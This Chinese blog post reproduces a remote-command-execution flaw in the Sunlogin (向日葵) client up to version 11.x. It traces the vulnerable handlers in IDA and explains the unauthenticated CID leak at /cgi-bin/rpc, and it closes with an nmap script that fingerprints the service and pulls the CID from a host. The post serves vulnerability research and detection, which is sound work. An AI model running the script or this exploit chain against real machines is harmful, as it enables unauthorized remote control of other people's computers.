发布于2022年10月18日3年前 复现环境 漏洞范围:小于或等于11.x 复现的版本:11.0.0.33162 复现过程 这里跟踪了check接口、路由接口、认证接口这三个 首先脱壳,向日葵加了UPX,upx -d脱掉即可 向日葵对应的端口,找到SunloginService服务的PID在找端口即可 向日葵在启动的时候会开启该服务,端口绑定在服务里(没更)。向日葵的端口大概是4w-5w 根据PDF里的先获取CID才能后续利用,open IDA shift+F12搜索CID (先连接一次向日葵然后在log里可以看到CID,对应log位置:SunloginClient\log\sunlogin_service.<日期>.log) 根据PDF里的访问/cgi-bin/rpc可以未授权获取到CID。找到路由可以看到对应的处理函数(sub_140E216BA->找到该函数的方法上面提到的搜索CID字符串跟入其中一个函数在上级便是路由) (懒得截图了,处理函数是sub_140E1C954) 当满足action=verify-haras会返回verify_string而和CID对比两者一致 当为action为fast-login,是识别码和本地验证码的处理,认证成功后也可以获取CID 参数需要:action=fast-login&fastcode=<本地识别码>&verify_string=<本地验证码>&use_custom_password=1 也可以通过login.cgi验证获取CID check接口RCE 获取cmd值后,判断是否存在ping命令然后跳到LABEL_27,调用sub_140E20B64执行命令 认证接口 回到路由,跟踪上一级(或者搜索:{“success”:false,”msg”:”Verification failure”}定位) 可以看到判断cookie是否存在和CID的赋值,最后传入v132判断CID是否正确 如果是请求路径是下面其中一个则会进入到sub_14061D284(也就是刚刚的路由) nmap检测脚本: local http=require "http" local shortport=require "shortport" local stdnse=require "stdnse" local string=require "string" local vulns=require "vulns" local json=require "json" portrule=function(host,port) if (port.state=="open") and (port.protocol=="tcp") then return true end end action=function(host,port) local status=stdnse.output_table() local url=string.format("http://%s:%s",host.ip,port.number) local banner="{\"success\":false,\"msg\":\"Verification failure\"}" local headers={header={}} headers["header"]["User-Agent"]="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0" local rqt=http.get_url(url,headers) if (rqt.status==200) and (string.match(rqt.body,banner)) then status.banner="SunloginClient" local uri="/cgi-bin/rpc" local postdata="action=verify-haras" local cid_check=http.post(host,port,uri,nil,true,postdata) if(cid_check.status==200) then local json_check,json_data=json.parse(cid_check.body) if (json_data["enabled"]=="1") then status.rce="YES" status.cid=json_data["verify_string"] end end if (status~=nil) then return status end end end
创建帐户或登录后发表意见